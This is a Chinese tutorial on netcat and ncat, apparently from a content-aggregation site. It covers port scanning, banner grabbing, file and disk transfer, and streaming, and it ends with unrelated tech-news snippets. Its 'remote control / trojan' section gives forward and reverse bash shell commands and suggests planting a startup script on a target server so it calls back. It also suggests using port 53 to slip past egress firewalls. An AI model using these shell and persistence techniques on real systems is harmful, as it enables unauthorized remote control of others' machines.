范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文

网络工具netcat介绍及使用

  netcat 简称 nc,安全界叫它瑞士军刀。ncat 也会顺便介绍,弥补了 nc 的不足,被叫做 21 世纪的瑞士军刀。nc 的基本功能如下: 端口扫描telnet / 获取系统 banner 信息 传输文本信息 传输文件和目录 加密传输文件 远程控制 / 木马 流媒体服务器 远程克隆硬盘
  首先还是通过-h来查看使用说明:
  nc -h
  其中有两个参数用得比较多,v 参数就是列出执行过程的详细信息,n 参数翻译过来就是仅接收 ip 地址,没有 dns。之所以使用 n 参数,是因为使用命令的过程中只去传入 ip,减少了 nc 把域名解析为 ip 的过程,这样可以节省时间提高效率。端口扫描
  nc 用来进行端口扫描的命令是 nc -nvz ip 地址 端口号,z参数从帮助说明里翻译过来差不多是"不进行 i/o,用来扫描"的意思,可以理解成仅仅是去 ping 去探测目标是否开启指定端口,不进行任何的交互。
  被扫描端口处于打开状态
  被扫描端口处于关闭状态
  z 参数默认扫描的是 tcp 类型,如果需要扫描 udp,则需要使用一个新参数 u。
  每一个扫描器的扫描结果都不一定准确,最好多使用几款扫描器对目标进行扫描,综合结果进行判断,会相对更准确一些。telnet / 获取系统 banner 信息
  telnet使用率大不如以前了,基本被ssh取代了,最大的弊端在于其明文传输。nc 也是明文方式传输的数据,所以后续需要使用nmap下的ncat工具来结合一下,弥补其不足。nc 在这里可以获取服务器banner信息。用163邮箱服务器作为例子:
  nc -nv 123.126.97.79 110
  后面还可以通过传递USER、PASSWARD进行登录,但是传递的账户名和密码都是需要加密过的,不能直接传明文,这里不再展开。
  根据返回的信息可以知道,其使用的是 coremail 邮件系统。传输文本信息
  nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。l(小写)参数是监听模式的意思,p参数是指定一个端口。
  文本传输
  这种相互传输信息和渗透之间的关系是,电子取证的时候可以用。当机器被攻击后,为了不破坏现场,需要提出大量的信息和文件出来做分析,这时候可以用 nc 的这个机制,例如,需要一个命令的输出信息,首先自己机器上监听一个端口,随后在被攻击的机器上执行相关的命令,然后以管道给 nc,指定自己机器的地址和端口,这样输出结果就会到自己机器上,如下图:
  ll的执行结果传输给了目标机器
  如果输出内容过多,则可以将内容定向输出到文件中:
  将接收结果存到ll.txt
  ll.txt存入的内容
  这里再介绍一个参数q,作用是传输完以后等待指定时间自动断开。
  -q的作用传输文件和目录
  传输文件和目录的这些功能,其实和文本信息传输类似,只不过是把文本信息换成了文件和目录。首先用一台机器监听一个端口,如果有人连接并传来信息时,则将信息使用 > 重定向到文件。另一台机器连接目标指定端口然后通过 < 输出要传送的文件即可。
  传输文件:B向A传输一个mp3文件 A: nc -lp 333 > 1.mp3 B: nc -nv 1.1.1.1 333 < 1.mp3  A向B传输一个mp3文件 A: nc -q 1 -lp 333 < a.mp3 B: nc -nv 1.1.1.1 333 > a.pm3
  文件格式没什么限制,只要源文件和接收文件格式一致就行。
  传输目录:tar是打包解包工具,不会使用的可以查一下使用说明 A打包指定的文件夹,打包后的文件传给请求方,music前面的-是代表打包后的文件名的,但是这里直接传输了,有没有具体文件名都可以 B请求目标地址端口,将返回的内容解包 A: tar -cvf - music/ | nc -lp 333 -q 1 B: nc -nv 1.1.1.1 333 | tar -xvf -加密传输文件
  加密传输文件需要使用 mcrypt 库,linux 系统默认是没有安装的,需要手动安装。使用和传输文件类似,只需要在传输文件时使用 mcrypt 加密即可。
  mcrypt --help
  具体使用:接收端: nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp3 发送端: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp3 | nc -nv 1.1.1.1 333 -q 1
  命令用到的参数有,--flush 立即冲洗输出,-F 输出数据,-b 不保留算法信息,-q 关闭一些不是严重的警告,-d 解密,首先在接收端监听一个端口,等待另一台进行连接传送文件,随后在要传送的机器上把要传送的文件进行加密使用 nc 连接指定的地址和 ip。
  发送端第一次需要输入加密的密码,然后回车再次确认密码,接收端输入相应的密码就会收到传输的文件。远程控制 / 木马
  实现方式如下:正向: 被控制端: nc -lp 333 -c bash 控制端 nc 1.1.1.1 333  反向: 控制端: nc -lp 333 被控制端: nc 1.1.1.1 333 -c bash  简单总结就是谁输-c,谁就被控制
  原理和传输文件一样,只不过传输的是 bash,windows 系统是 cmd,正向是被控制机器主动指定 bash,然后通过别人连接自己的端口,别人连接自己后,执行的命令就是被控制的机器。反向就是控制端指定bash,连接被控制端后,指定命令的还是被控制的机器。
  通常情况下,一般的服务器都会有防火墙,很少会允许其他外在的机器来连接自己的某一个端口,只有某些指定端口可能会允许访问,例如 web 服务的 80 端口。这时正向的 shell 就不起作用了,而防火墙一般都会禁止外在机器来连接自己机器的其他端口,但自己的机器访问外面的端口一般不会做限制,这时候就可以使用反向 shell,也就是攻击者给自己的机器开一个端口,让目标服务器来连自己,并提供bash。为了达到这个目的,可以写一个脚本放到目标服务器的开机启动中,只要目标服务器运行就会连接自己。
  当然,有些管理员安全意识比较好的话,也会限制自己的服务器访问外在的一些端口,这种情况很少见,但也有,这时可以指定常用的端口,例如服务器要使用 dns 服务的 53 端口,这时候自己就可以监听 53 让目标服务器来连接自己。流媒体服务器
  具体实现方式:服务端: cat 1.mp4 | nc -lp 333 客户端: nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -
  其中mplayer在有些Linux中是没有默认安装的,如果没有就手动安装一下。
  mplayer -h
  其中vo参数是选择驱动程序,cache参数的意思是每秒要接收的播放帧。远程克隆硬盘
  我们都知道文件删除的原理,在不格式化的情况下,删除文件后是可以通过一些手段还原回来的,所以在远程电子取证时,远程克隆硬盘就显得很有作用了。
  具体使用时需要借助命令dd,首先通过nc监听一个端口,然后通过dd指定要克隆的分区,dd的of参数相当于一个复制功能,然后在另一台机器通过nc连接此端口,dd的if参数相当于粘贴的命令。接收端: nc -lp 333 | dd of=/dev/sda 被复制端: dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1ncat
  nc 也有不足之处,首先就是明文传输,可能会被嗅探。其次对于反向shell,如果其他人通过网络扫描发现了这个端口,也就意味着任何人都可以去监听这个端口进行连接,缺乏身份验证功能。
  ncat则弥补了这些缺点,ncat不是linux系统自带的命令,而是nmap中的。ncat的使用参数很多和nc是一样的,可以通过--alow参数来指定允许连接的机器,通过--ssl进行数据的加密。被控制端: ncat -c bash --allow 192.168.14.33 -vnl 333 --ssl 控制端: ncat -nv 1.1.1.1 333 --ssl
  通过allow参数即可指定允许连接的机器,这时如果其他人即使扫描到了这个端口也无法进行连接。

苹果手机的logo,为什么被咬了一口?有两个说法第一个说法是Apple公司最初Logo设计者RobJanoff设计了两款标志,一个完整的苹果和一个缺口的苹果。乔布斯觉得完整的苹果像樱桃于是就选择了有缺口的苹果。人的大拇腾讯放弃音乐独家版权,网易丁磊希望是不含任何阳奉阴违的决定针对腾讯发布关于放弃音乐版权独家授权权利的声明一事,网易CEO丁磊在网易财报电话会上隔空回应。他表示,我们看到腾讯音乐放弃独家版权的公告,非常期待这是一个真心实意的,不含任何阳奉阴狗狗币可能超越下一个比特币或虚拟市场近期以来,狗狗币却突然迅速起飞了,现在以总市值计,已经挤进了虚拟货币的前十名。今年早些时候,狗狗币的价格一度冲上了近74美分的历史最高点。虽然狗狗币近期知名度和价格双双猛增,但是两天玑2000来了,4nm性能赶超骁龙898,明年手机圈更热闹随着2021年走到下半年,手机圈的竞争也进入下半场,而手机圈的争夺战也是芯片军备竞赛,下半年还会有重量级的旗舰芯发布。最近业内透露联发科最新的天玑2000也箭在弦上,5G工艺省电等非洲大陆发达国家即将成为下一批崛起的电商新兴市场最近一年多,非洲电商发展飞速崛起,非洲大陆成为了国内跨境电商企业争夺的潜力市场,尤其是自2019年以来,业内对非洲电商的关注急剧提高,上升到了一起前所未有的高度今天就带大家一起来看云驰未来发布L3000车载中央网关搭载5G模组已小规模量产车东西(公众号chedongxi)作者微辣编辑Juice车东西9月1日消息,8月31日,国内自动驾驶安全企业云驰未来发布了国内首款车规级5G自动驾驶车载中央网关L3000。L3009月份开启测试?三星OneUI4。0快来了!基于安卓12随着时间进入2021年9月份,各大厂商的新机和系统更新节奏也更快了。近日三星在本土官宣,9月份会面向三星GalaxyS21S21和S21Ultra三款手机开启基于安卓12的OneU网络平台暗藏隐私数据交易信息安全领域亟待扫黑尽量打语音,不要发文字!可以放心,咱们是长期合作,数据都是真实的。宝付款,到时发你邮箱。中华人民共和国数据安全法将于9月1日正式实施,我国网络空间安全治理法律体系将进一步完善。然而展示大国力量,6G专利已经达到1。3万项,部署卫星实现网络覆盖随着这些年科技的快速发展,在5G时代,包括华为中兴等国内通信企业,掌握的5G必要专利全球占比高达40,成功掌握了5G时代的话语权,在短的时间内建成了世界上最大的5G网络,实现了弯道区块链构建的价值网络引领了新变革如果一个百货公司的会员用他的会员卡积分在网上购买一副耳机,而一个网络游戏的狂热玩家用游戏中的代币在网吧旁边的便利店购买一瓶饮料,他能做到吗?在未来,这样的事情不仅会发生在商品交换项孩子们的学习神器网络电视盒子,网络电视盒子点读跟读方便简单上次去我姑姑家看家她家的孩子使用的网络电视盒子很特别,可以用来学习,不仅仅如此那款电视盒子还能够家里娱乐使用,所以我要给大家安利几款既适合于学习又可以用来娱乐的网络电视盒子,一起快
重磅首发Intel酷睿i912900K性能称王,ROGZ690搭载实测今年3月,面对AMD锐龙5000系列咄咄逼人的攻势,Intel发布了14nm工艺收官之作代号RocketLakeS的第11代酷睿台式机处理器,而在7个月后,采用Intel7工艺全新从天猫的售后可以看出阿里的未来天猫是阿里的长子,但阿里似乎越来越不重视他了,似乎阿里更重视科研和投资了,这是要抛弃淘宝的节奏吗。最近在天猫的购物体验很是差劲,让我一下子明白为啥淘宝可以轻易的被拼多多追着打,而且国产系统获奖封神!揭秘银河麒麟系统,为何被誉为国产信息守护者10月27日上午,银河麒麟发布了V10操作系统的升级版本V10SP1,这是在原版本技术基础的进一步优化加强。不仅在安全性上进行了升级,还适配了更多安卓生态软件,可以在电脑端直接安装百度开源的低代码前端框架,支持网页和移动端页面开发开源精选是我们分享GithubGitee等开源社区中优质项目的栏目,包括技术学习实用与各种有趣的内容。本期推荐的是一个由百度开源的低代码前端框架amis。在经历了十几年的发展后,前别炒!微软总裁不应该过度炒作元宇宙概念恐怕将影响科技长期发展FX168财经报社(香港)讯自从脸书更名为META后,元宇宙迅速在全球市场窜起。但同样是美国科技大企的微软总裁布莱德史密斯(BradSmith)却在受访时表示,投资市场不应该过度炒俞永福上任后第一把火烧向组织架构阿里本地生活推行541新阵型记者程璐编辑阿里性侵丑闻事件后,阿里本地生活原CEO李永和(花名老鼎)引咎辞职,统领阿里生活服务板块的俞永福重新披挂上阵,紧急接任阿里本地生活公司CEO。而俞永福上任后的第一把火就读疯狂Python讲义有感一弱类型包含两方面的含义1所有的变量无需声明即可使用2变量的数据类型可以随时改变Python是一门弱类型语言二str的常用方法str。title()将每个单词的首字母改为大写str四维图新(002405。SZ)获得戴姆勒自动驾驶数据管理服务平台订单智通财经APP讯,四维图新(002405。SZ)发布公告,近日,该公司获得戴姆勒大中华区投资有限公司(以下简称戴姆勒)面向量产车辆的自动驾驶数据管理服务平台订单,公司将对戴姆勒在国AMD双绝合体,惠普暗影精灵7锐龙版实测畅玩点击视频了解AMD超威卓越平台技术实力视频链接视频加载中主要配置处理器AMD锐龙75800H显卡AMDRadeonRX6600M8GBGDDR6内存DDR432008GB2硬盘M。元宇宙概念大火诞生一批岗位,你知道捏脸师是种什么职业?近日,美国社交媒体脸书首席执行官马克扎克伯格高调宣布公司名将改为Meta。Meta是科幻词汇元宇宙的前四个字母。元宇宙概念大火,也由此诞生了一些新职业,比如虚拟场景搭建的建造师,虚背负竞业协议,他们成为互联网大厂里的隐形人陈瑜听过太多前车之鉴,曾经有一位前同事,和她一样,在跳槽时被竞业,诸多小心,最终还是被捕获。他收到了一个陌生快递,这份快递的收件地址写着现公司,实际却是前公司HR在京东为他匿名购买